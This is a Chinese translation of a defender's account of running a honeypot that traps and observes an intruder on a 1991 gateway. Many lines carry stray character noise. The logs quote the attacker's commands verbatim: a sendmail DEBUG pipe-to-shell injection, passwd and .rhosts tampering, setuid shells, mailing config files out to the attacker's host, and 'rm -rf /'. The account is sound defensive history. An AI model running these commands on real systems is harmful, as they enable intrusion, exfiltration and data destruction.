引誘、欺騙并研究一個黑客——陪伴berferd的一個夜晚

在1991年1月7號，一個黑客，他確信自己發(fā)現(xiàn)了我們的Internet網(wǎng)關(guān)計算機的sendmail的一個DUBUG漏洞的黑客，試圖獲得我們的password文件，我“送”給他了一份。
在幾個月中，我們引誘這名黑客作各種快樂的嘗試，以便于我們發(fā)現(xiàn)他的位置和使用的破解技術(shù)。這篇文章是對該黑客的“成功”和失敗，我們使用的誘餌和陷阱的詳細(xì)記錄
我們的結(jié)論是我們所遇到的這個黑客擁有大量的時間，固執(zhí)異常，并持有一份優(yōu)秀的系統(tǒng)漏洞列表。一旦他獲得了系統(tǒng)的一個正式注冊身份，使用那些漏洞他可以輕易的攻破uucp和bin帳號，然后是root。我們的黑客對軍事目標(biāo)和可以幫助他中轉(zhuǎn)其連接的新機器很感興趣。
; c3 X' j9 y$ D- M( `; n簡介
' y. L6 c! C$ n' G# H1 R, V0 I我們的安全I(xiàn)nternet網(wǎng)關(guān)是1990年1月開始使用的。對于這個整個城堡的大門，我想知道它所可能遭到的攻擊會有多么頻繁。我明白Internet上有一些喜歡使用“暴力”的人，那么他們是誰？他們會攻擊什么地方？會多么頻繁？他們經(jīng)常嘗試系統(tǒng)的那些漏洞？
事實上，他們沒有對AT&T作出破壞，甚至很少光顧我們的這扇大門，那么，最終的樂趣只有如此，引誘一個黑客到一個我們設(shè)計好的環(huán)境中，記錄下來他的所有動作，研究其行為，并提醒他的下一個目標(biāo)作出防范。
6 p/ l1 f' C- [. }5 s大多數(shù)Internet上的工作站很少提供工具來作這些事情，商業(yè)系統(tǒng)檢測并報告一些問題，但是它們忽略了很多我們想要的東西。我們的網(wǎng)關(guān)每天產(chǎn)生10兆的日志文件。但人們對于日志記錄以外的服務(wù)的攻擊呢？
7 K1 F# y0 x  x  G7 z3 r' L8 s我們添加了一些虛假的服務(wù)在系統(tǒng)上，同時我編寫了一個script文件用來檢索每天的日志。我們檢查以下幾點：
FTP ：檢索的工具會報告每天所有注冊和試圖注冊的用戶名。它還會報告用戶對tilde的使用（這是個老版本的ftp的漏洞）、所有對ftp目錄的/etc/passwd和/etc/group的存取以及對pub目錄下完整文件列表的獲取。獲取passwd的人通常用它來獲得系統(tǒng)的正式用戶的注冊名稱，然后攻擊、破解其密碼。有時有些系統(tǒng)的管理員會將系統(tǒng)的真實passwd文件放在ftp的/etc目錄下，我們偽造了一個passwd文件，它的密碼被破解后是“why are you wasting your time.”
Telnet / login ：所有試圖login的動作都被記錄了下來。這很容易就可以看出有些人在嘗試很多帳號，或強力攻擊某一個帳號。因為我們這個Internet的大門除了“警衛(wèi)”外沒有什么別的用戶，很容易就可以找到問題所在。
. {; `- q" g) v3 d8 ]2 G/ H4 VGuest / visitor 帳號：黑客們第一個尋找的就是公用帳號。這些帳號提供了友好的，最輕易的獲取幾乎系統(tǒng)的所有文件的機會，包括passwd文件。黑客也可以通過獲取/etc/hosts.equiv文件或每個用戶的.rhosts文件來獲得機器的信任主機列表。我們對于這些帳號的login script文件是這樣編寫的：
9 n( S9 t, p& fexec 2>/dev/null # ensure that stderr doesn't appear
trap "" 1
; i+ y" g4 T! l7 o0 a! H& y/bin/echo
- R! E3 o5 i% N% ], P9 |  g( /bin/echo "Attempt to login to inet with $LOGNAME from $CALLER" |
upasname=adm /bin/mail ches dangelo &
# (notify calling machine's administrator for some machines...)
- P" c7 Q2 `% i7 b) u# (finger the calling machine...)
) 2>&1 | mail ches dangelo
/bin/echo "/tmp full"
sleep 5 # I love to make them wait....
/bin/echo "/tmp full"
/bin/echo "/tmp full"
4 }; d, I% x" |2 g8 S* D/bin/echo
sleep 60 # ... and simulating a busy machine is useful
我們必須小心以便不讓調(diào)用者看到系統(tǒng)的標(biāo)志出錯信息（如果一旦我們編寫的script有誤）。注意$CALLER是在另一端的主機或IP地址。通過修改telnetd或login，它將可以通過環(huán)境變量來獲取。
! p. J" \, w) s, z* q; OSMTP DEBUG : 這個命令提供了兩個守候sendmail的漏洞的陷阱。雖然幾乎所有的產(chǎn)品出售商都清除了這個漏洞，但偶爾仍有黑客嘗試它。這個漏洞允許外部的使用者使用一段以root權(quán)限執(zhí)行的script。當(dāng)有些人嘗試這個漏洞時，我就獲得了他嘗試的script代碼。
! G0 u% o/ R6 T- o2 WFinger ：Finger提供了大量有用的信息給黑客：帳號名，該帳號的最后一次使用時間，以及一些可以用來猜測密碼的信息。由于我們的組織不允許提供這些信息給別人，我們置入了一個程序，在finger了fingerd的調(diào)用者后拒絕figner請求。（當(dāng)然我們會避免對來自自己的finger信息的死循環(huán)）。報告表明每天有數(shù)以十計的finger請求，其中大部分是合法的。
Rlogin / rsh ：這些命令都是基于一些無條件信任的系統(tǒng)，我們的機器并不支持。但我們會finger使用這些命令的用戶，并將他的嘗試和用戶信息等生成報告。
8 h" o/ A; B1 Y3 P! e5 w上述很多探測器都使用figner命令來查明調(diào)用的機器和使用者。
當(dāng)一個嘗試顯示為有不合法企圖時，我就發(fā)出這樣一條消息：
- Y* u" t6 k( Q6 Y! X" linetfans postmaster@sdsu.edu
Yesterday someone from math.sdsu.edu fetched the /etc/passwd file
; u4 G+ ^0 l, n: lfrom our FTP directory. The file is not important, but these probes
" W* W/ S" j. l& V$ Iare sometimes performed from stolen accounts.
Just thought you'd like to know.
1 O  w( ~, p0 q1 E2 KBill Cheswick
這是一個典型的信件，它被發(fā)往“inetfans”，這些人屬于計算機緊急響應(yīng)小組(Computer Emergency Response Team , CERT)、某些興趣小組或?qū)δ承┱军c感興趣的人。
很多系統(tǒng)管理員很重視這些報告，尤其是軍事站點。通常，系統(tǒng)管理員在解決這些問題上都非常合作。對這些信件的反應(yīng)包括道歉，拒絕信件，關(guān)閉帳號以及沉默等等。當(dāng)一個站點開來愿意支持黑客們的活動時，我們會考慮拒收來自該站的所有信息包。
, Q5 m7 ]3 c4 {" |. ?' P不友好的行動
我們從1990年1月設(shè)置好這些探測器。統(tǒng)計表明被攻擊率在每年學(xué)校的假期期間會上升。我們的被攻擊率可能比其他站點高，因為我們是廣為人知的，并被認(rèn)為是“電話公司”。
, U4 d7 Y5 e5 J8 T當(dāng)一個遠(yuǎn)程使用者取走passwd文件時，并不是所有的人都出于惡意的目的。有時他們只是想看看是否傳輸能正常工作。
% p- S  r0 x8 [8 l- R4 A( {19:43:10 smtpd[27466]: <--- 220 inet.att.com SMTP
19:43:14 smtpd[27466]: -------> debug
19:43:14 smtpd[27466]: DEBUG attempt
% u# B% W7 n) N- q0 d. Q( @19:43:14 smtpd[27466]: <--- 200 OK
" _+ X; r- X4 o. V3 @/ W$ ]19:43:25 smtpd[27466]: -------> mail from:
. p  l4 O4 i1 s! [9 U19:43:25 smtpd[27466]: <--- 503 Expecting HELO
19:43:34 smtpd[27466]: -------> helo
19:43:34 smtpd[27466]: HELO from
: L8 S9 D, A" l, y/ h/ L19:43:34 smtpd[27466]: <--- 250 inet.att.com
19:43:42 smtpd[27466]: -------> mail from:
5 i+ @7 w2 U: R* ~6 v* }2 `19:43:42 smtpd[27466]: <--- 250 OK
19:43:59 smtpd[27466]: -------> rcpt to: 19:43:59 smtpd[27466]: <--- 501 Syntax error in recipient name
" K- |" S6 c7 U7 N19:44:44 smtpd[27466]: -------> rcpt to:<|sed -e '1,/?$/'d | /bin/sh ; exit 0">
19:44:44 smtpd[27466]: shell characters: |sed -e '1,/?$/'d | /bin/sh ; exit 0"
2 m7 L; g- H; E$ q2 K9 i' u19:44:45 smtpd[27466]: <--- 250 OK
19:44:48 smtpd[27466]: -------> data
( [# U$ u: H1 U* P: T19:44:48 smtpd[27466]: <--- 354 Start mail input; end with .
5 E  d7 m$ h+ [+ X; {* l- W) L19:45:04 smtpd[27466]: <--- 250 OK
19:45:04 smtpd[27466]: /dev/null sent 48 bytes to upas.security
19:45:08 smtpd[27466]: -------> quit
' @, j1 E! ~! c" J; I/ w* \8 S19:45:08 smtpd[27466]: <--- 221 inet.att.com Terminating
! Q1 w4 t  z* w" j2 `6 J$ x+ e7 d19:45:08 smtpd[27466]: finished.
7 r/ b4 `5 w* f$ ]4 I+ ^這是我們對SMTP過程的日志。這些看來很神秘的日志通常是有兩個郵件發(fā)送器來相互對話的。在這個例子中，另一端是由人來鍵入命令。他嘗試的第一個命令是DEBUG。當(dāng)他接收的“250 OK”的回應(yīng)時一定很驚奇。關(guān)鍵的行是“rcpt to :”。在尖括號括起的部分通常是一個郵件接收器的地址。這里它包含了一個命令行。Sendmail在DEBUG模式下用它來以ROOT身份執(zhí)行一段命令。即：
" Y! i6 i2 v; F3 i; P# \* Bsed -e '1,/?$/'d | /bin/sh ; exit 0"
9 b2 ^1 k+ w: t0 s2 N( n它剝?nèi)チ肃]件頭，并使用ROOT身份執(zhí)行了消息體。這段消息郵寄給了我，這是我記錄下來的，包含時間戳：
* G8 V2 U: E& e9 u5 R% U/ s19:45 mail adrian@embezzle.stanford.edu 19:51 mail adrian@embezzle.stanford.edu 他希望我們郵寄給他一份我們的passwd文件。大概用來運行一些passwd破解程序。所有這些探測結(jié)果都來自EMBEZZLE.STANFORD.EDU的一個adrian用戶。他在美國空襲伊拉克半個小時后公然作出敵意反應(yīng)。我懷疑是薩達(dá)姆雇傭了一兩個黑客。我恰巧在ftp的目錄下有一個假的passwd文件，就用root身份給Stanford發(fā)了過去。
. Y, @( x- U( q$ N- K/ Z第二個早晨，我聽到了來自Stanford的消息：他們知道了這件事，并正在發(fā)現(xiàn)問題所在。他們說adrian這個帳號被盜用了。
) K5 h9 M5 e% E: h; ]( ]8 k0 }接著的一個星期天我接到了從法國發(fā)來的一封信：
- k8 B7 \7 _' h$ c% \. S! K4 r9 gTo: root@research.att.com
% S9 H  |1 s. o* X- @+ NSubject: intruder
Date: Sun, 20 Jan 91 15:02:53 +0100
( p2 o9 L! D8 A: KI have just closed an account on my machine
which has been broken by an intruder coming from embezzle.stanford.edu. He
* i  T) y2 A- b1 Q; v(she) has left a file called passwd. The contents are:
9 X7 G* D! t# [/ |- k------------>
. k; ~" A+ A% N; q( AFrom root@research.att.com Tue Jan 15 18:49:13 1991
Received: from research.att.com by embezzle.Stanford.EDU (5.61/4.7);
4 C7 j( ^, ?1 N9 TTue, 15 Jan 91 18:49:12 -0800
" m2 ]; o! T$ TMessage-Id: <9101160249.AA26092@embezzle.Stanford.EDU>
From: root@research.att.com
4 X, E! }6 [- @  K. n3 ODate: Tue, 15 Jan 91 21:48 EST
To: adrian@embezzle.stanford.edu
Root: mgajqD9nOAVDw:0:2:0000-Admin(0000):/:
+ E' u5 P" G: A& M4 L, fDaemon: *:1:1:0000-Admin(0000):/:
; _( F: n- i; qBin: *:2:2:0000-Admin(0000):/bin:
' W7 [9 Q9 z. b' |! QSys: *:3:3:0000-Admin(0000):/usr/v9/src:
0 L/ I2 ]" P- |( s# d$ rAdm: *:4:4:0000-Admin(0000):/usr/adm:
* P9 F4 J' A$ I$ yUucp: *:5:5:0000-uucp(0000):/usr/lib/uucp:
Nuucp: *:10:10:0000-uucp(0000):/usr/spool/uucppublic:/usr/lib/uucp/uucico
Ftp: anonymous:71:14:file transfer:/:no soap
Ches: j2PPWsiVal..Q:200:1:me:/u/ches:/bin/sh
Dmr: a98tVGlT7GiaM:202:1:Dennis:/u/dmr:/bin/sh
Rtm: 5bHD/k5k2mTTs:203:1:Rob:/u/rtm:/bin/sh
Berferd: deJCw4bQcNT3Y:204:1:Fred:/u/berferd:/bin/sh
Td: PXJ.d9CgZ9DmA:206:1:Tom:/u/td:/bin/sh
Status: R
& t. h2 m9 K. `* k1 V------------Please let me know if you heard of him.
4 e+ ~9 a- F" p# X  @3 S陪伴Berferd的一個夜晚
1月20號，星期天晚上，我的終端報告有安全敏感事件。
22:33 finger attempt on berferd
幾分鐘后，有人試圖使用DEBUG來用ROOT身份執(zhí)行命令，他試圖修改我們的passwd文件！
22:36 echo "beferdd::300:1:maybe Beferd:/:/bin/sh" >>/etc/passwd
6 G. e8 e/ b! L* {3 z) d" ^# Ocp /bin/sh /tmp/shell
5 G2 Q/ z1 ~- |+ f) E. b+ H+ mchmod 4755 /tmp/shell
3 ^( c9 D9 s& X3 g$ A連接同樣來自EMBEZZLE.STANFORD.EDU。
  Q" n% g5 {8 Z% P我該怎么作呢？我不希望他真的能獲得一個網(wǎng)關(guān)的帳號，為什么引狼入室呢？那樣我將得不到他的鍵盤活動。
我應(yīng)該繼續(xù)看看他關(guān)注的其他事情，或許我可以手工模擬一下操作系統(tǒng)，這意味著我必須讓他以為機器速度很慢，因為我無法和MIPS M/120相比。同時意味著我必須模擬一個一致的操作系統(tǒng)。
我已經(jīng)有一個要求了，因為他已經(jīng)持有了一份passwd。
- ^/ A2 M( f0 M: @3 g決定一：ftp的passwd是一個真實的passwd。
還有另外的兩個：
決定二：網(wǎng)關(guān)機器管理極差。（有DEBUG漏洞，ftp目錄里有passwd）。
決定三：網(wǎng)關(guān)機器極慢。
因此我決定讓他以為他已經(jīng)改變了passwd文件，但卻不急于讓他進(jìn)來。我必須生成一個帳號，但卻使它不可操作。我應(yīng)該怎么辦？
決定四：我的shell并沒有放在/bin下，它放在其他地方。這樣，他進(jìn)來后（讓他認(rèn)為passwd已經(jīng)改動了），沒有可運行的shell。
- i& o0 y/ x0 P( i. ?1 o) r這個決定很愚蠢，但我不會因此損失任何東西。我寫了一個script，生成了一個臨時帳號b，當(dāng)它被調(diào)用時它會給我發(fā)信，調(diào)用者將看到如下信息：
+ s' g6 T7 M9 H8 d7 ~" p3 ?RISC/os (inet)
login: b
RISC/os (UMIPS) 4.0 inet
Copyright 1986, MIPS Computer Systems
# g+ ]/ s: l- [9 a" [) h, |# FAll Rights Reserved
Shell not found
( _2 X' n& L7 r" _7 u0 Y+ l我把b帳號在實際passwd文件中改成了beferd，當(dāng)我作完后，他在此嘗試：
& k7 G% i) R: j" Z+ C1 f22:41 echo "bferd ::301:1::/:/bin/sh" >> /etc/passwd
他的另一個試圖添加到passwd文件的嘗試。事實上，在我為bferd完成新的配置之前他開始急躁了：
22:45 talk adrian@embezzle.stand?Hford.edu
talk adrian@embezzle.stanford.edu
# e2 B) ?+ ~/ r0 ^* n( @4 a) |決定五：我們沒有talk這個命令。
; s+ l! G. d2 I+ P) X他選擇了berferd這個帳號：
- [' v6 m2 D* \22:48 Attempt to login to inet with bferd from Tip-QuadA.Stanford.EDU
22:48 Attempt to login to inet with bferd from Tip-QuadA.Stanford.EDU
22:49 Attempt to login to inet with bferd from embezzle.Stanford.EDU
1 f- e2 {' `# |: y' _$ E4 m22:51 (Notified Stanford of the use of Tip-QuadA.Stanford.EDU)
- H; I! Y: j/ o+ H' [: @9 u22:51 Attempt to login to inet with bferd from embezzle.Stanford.EDU
- Q. y; T% Y# t$ h8 B22:51 Attempt to login to inet with bferd from embezzle.Stanford.EDU
/ X: j' i6 P9 V4 ~: F  s, J. v22:55 echo "bfrd ::303:1::/tmp:/bin/sh" >> /etc/passwd
( K) P$ m+ @% a& q" a# }4 ]# n22:57 (Added bfrd to the real password file.)
* @: N" E! h0 T, f- Q# s22:58 Attempt to login to inet with bfrd from embezzle.Stanford.EDU
22:58 Attempt to login to inet with bfrd from embezzle.Stanford.EDU
23:05 echo "36.92.0.205" >/dev/null
echo "36.92.0.205 embezzle.stanford.edu">>/etc./?H?H?H
4 K7 {! I8 D8 e! ~9 P" h6 X23:06 Attempt to login to inet with guest from rice-chex.ai.mit.edu
& Z4 w' j" [! d: G1 N  j23:06 echo "36.92.0.205 embezzle.stanford.edu" >> /etc/hosts
: M  B& E( W$ F23:08 echo "embezzle.stanford.edu adrian">>/tmp/.rhosts
/ z: \5 _* v, }# C# q9 l- u( O很顯然他希望能夠rlogin到我們的網(wǎng)關(guān)，這需要一些本地文件的特定設(shè)置。我們并沒有作rlogin的檢測。
3 u* R0 n6 g) J& x, W這時他又有新的動作：
9 y) n0 f- s' D6 }; c8 m. N23:09 Attempt to login to inet with bfrd from embezzle.Stanford.EDU
% N9 D3 A  ]* Q+ X23:10 Attempt to login to inet with bfrd from embezzle.Stanford.EDU
2 [& T+ Q$ |/ V  O3 r0 f! U23:14 mail adrian@embezzle.stanford.edu < /etc/inetd.conf
% c  t, l) O$ ^2 wps -aux|mail adrian@embezzle.stanford.edu
在rlogin失敗后，他希望能得到我們的inetd.conf文件來查看我們究竟啟動了什么服務(wù)。我不想讓他看到真正的inetd.conf，但偽造一個又非常困難。
決定七：網(wǎng)關(guān)機器運行不穩(wěn)定，時有不確定事件。
23:28 echo "36.92.0.205 embezzle.stanford.edu" >> /etc/hosts
echo "embezzle.stanford.edu adrian" >> /tmp/.rhosts
# Q0 H+ x9 Q) O9 b( J3 tps -aux|mail adrian@embezzle.stanford.edu
9 U0 X9 V# i/ x# d$ u% \mail adrian@embezzle.stanford.edu < /etc/inetd.conf
1 @9 K- q/ v/ V- ^0 m& o6 x; N我不希望他看到ps的結(jié)果，幸運的是，他的Berkeley系統(tǒng)的ps命令在我的System V機器上是無效的。
這時我通知了CERT，這時一起嚴(yán)重的攻擊事件，在Stanford也應(yīng)該有追蹤這些請求的人。這時，活動又轉(zhuǎn)到ftp上來：
8 x  r7 k4 v( e' NJan 20 23:36:48 inet ftpd[14437]: <--- 220 inet FTP server
3 r2 _4 r5 H- s) L$ _(Version 4.265 Fri Feb 2 13:39:38 EST 1990) ready.
) j5 s2 T5 _: Y8 X+ a/ p, S* d9 sJan 20 23:36:55 inet ftpd[14437]: -------> user bfrd?M
Jan 20 23:36:55 inet ftpd[14437]: <--- 331 Password required for bfrd.
( n3 g; I" {& O9 kJan 20 23:37:06 inet ftpd[14437]: -------> pass?M
Jan 20 23:37:06 inet ftpd[14437]: <--- 500 'PASS': command not understood.
3 j/ r2 q! b5 W7 v' u" p% i' m( c2 y4 sJan 20 23:37:13 inet ftpd[14437]: -------> pass?M
& O- R4 L, \! aJan 20 23:37:13 inet ftpd[14437]: <--- 500 'PASS': command not understood.
Jan 20 23:37:24 inet ftpd[14437]: -------> HELP?M
Jan 20 23:37:24 inet ftpd[14437]: <--- 214- The following commands are
recognized (* =>'s unimplemented).
Jan 20 23:37:24 inet ftpd[14437]: <--- 214 Direct comments to ftp-bugs@inet.
# c% A( q' \& p, K* f+ mJan 20 23:37:31 inet ftpd[14437]: -------> QUIT?M
; N6 f/ z8 u0 D& O: WJan 20 23:37:31 inet ftpd[14437]: <--- 221 Goodbye.
Jan 20 23:37:31 inet ftpd[14437]: Logout, status 0
" F" f, b* D$ |! [* G4 C) WJan 20 23:37:31 inet inetd[116]: exit 14437
Jan 20 23:37:41 inet inetd[116]: finger request from 36.92.0.205 pid 14454
Jan 20 23:37:41 inet inetd[116]: exit 14454
23:38 finger attempt on berferd
+ f$ r  Z- j: @# T4 w23:48 echo "36.92.0.205 embezzle.stanford.edu" >> /etc/hosts.equiv
" k% {, P" X+ P  |) H' a" [8 y23:53 mv /usr/etc/fingerd /usr/etc/fingerd.b
cp /bin/sh /usr/etc/fingerd
決定四已經(jīng)決定了最后一行的嘗試必然失敗。因此，他只是破壞了我們模擬的機器上的finger而已，并沒有將之替換成一個shell程序。我關(guān)閉了實際的fingerd程序。
23:57 Attempt to login to inet with bfrd from embezzle.Stanford.EDU
23:58 cp /bin/csh /usr/etc/fingerd
9 J9 B" X# X; D/ x/ m0 w% V: J$ g3 h我們模擬的機器上csh并不在/bin下，因此這個命令無效。
00:07 cp /usr/etc/fingerd.b /usr/etc/fingerd
$ _. L6 c2 e4 A+ t/ e. {  S/ \9 A' Q好吧，fingerd現(xiàn)在重新開始工作。Berferd的恢復(fù)工作干的不錯。
- r7 |% a/ d. O" w8 v5 A, J00:14 passwd bfrt
) a: s' y2 X  [2 f- {$ ebfrt
bfrt
$ _0 [- I+ s6 W9 h8 f6 X現(xiàn)在他試圖修改password，這永遠(yuǎn)不會成功，因為passwd的輸入是/dev/tty，不是sendmail所執(zhí)行的shell script。
00:16 Attempt to login to inet with bfrd from embezzle.Stanford.EDU
) d! S5 u9 P/ d. y/ v7 S00:17 echo "/bin/sh" > /tmp/Shell
chmod 755 /tmp/shell
$ {5 z: q+ Q* X- D% s5 Q) t7 Wchmod 755 /tmp/Shell
00:19 chmod 4755 /tmp/shell
00:19 Attempt to login to inet with bfrd from embezzle.Stanford.EDU
  x/ W( ~$ B# w$ I; ~00:19 Attempt to login to inet with bfrd from embezzle.Stanford.EDU
4 v% }# @6 m6 Y. |3 ?8 c* `+ S00:21 Attempt to login to inet with bfrd from embezzle.Stanford.EDU
00:21 Attempt to login to inet with bfrd from embezzle.Stanford.EDU
這時我已經(jīng)很累了。
01:55 rm -rf /&
1 w3 m2 j0 S8 I喔??！太狠了！顯然機器的狀態(tài)讓他迷惑，他希望能清除所有的痕跡。有些黑客會保護自己所作的工作，聲明自己不作任何破壞。我們的黑客對我們感到疲勞了，因此以此結(jié)束。
) [* o" m# m2 q" v0 N/ v5 M他繼續(xù)工作了幾分鐘，后來放棄：
3 L7 ]$ n) M' A9 W07:12 Attempt to login to inet with bfrd from embezzle.Stanford.EDU
* L1 O- X" v7 r3 w07:14 rm -rf /&
07:17 finger attempt on berferd
* m0 g* D' t9 {" k07:19 /bin/rm -rf /&
/bin/rm -rf /&
07:23 /bin/rm -rf /&
07:25 Attempt to login to inet with bfrd from embezzle.Stanford.EDU
/ z. p( p4 y( b- e6 w09:41 Attempt to login to inet with bfrd from embezzle.Stanford.EDU
, I% T) [+ u# ~+ w$ K